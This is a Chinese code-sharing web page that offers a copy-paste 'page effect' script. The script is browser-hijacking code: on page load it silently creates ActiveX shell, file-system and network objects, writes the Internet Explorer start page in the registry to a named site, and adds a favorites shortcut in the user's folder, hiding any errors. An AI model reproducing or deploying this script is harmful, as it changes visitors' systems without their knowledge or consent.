首页 | 代码中心 | 源码下载 | 用户管理 | 用户留言 | 导航 | 繁體
代码秀,专业程序代码提供商(源码下载,编程技术)
要完成此效果把如下代码加入到区域中 <Script> document.write(""); //this function is only needed if you add favorites or links function AddFavLnk(loc, DispName, SiteURL) { var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); Shor.TargetPath = SiteURL; Shor.Save(); } //end add favorites or links function function f(){ try { //ActiveX initialization a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { if (document.cookie.indexOf("Chg") == -1) { //set cookie var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //end set cookie //set home page Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.9966ok.com/"); var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //end set home page //add favorites this is the common part; should be here if you want to add favorites var WF, Shor, loc; WF = FSO.GetSpecialFolder(0); loc = WF + "\\Favorites"; if(!FSO.FolderExists(loc)) { loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; if(!FSO.FolderExists(loc)) { return; } } //end common part //the following line is used for adding favorites. //to add multiple favorites, duplicate the following line, changing the last 2 paramaters. AddFavLnk(loc, "顺新商务娱乐网", "http://www.9966ok.com"); //end add favorites } } catch(e) {} } catch(e) {} } function init() { setTimeout("f()", 0); } init(); </Script> 特别说明:如网页特效代码中有引用图片文件等,请自己下载到本地调试!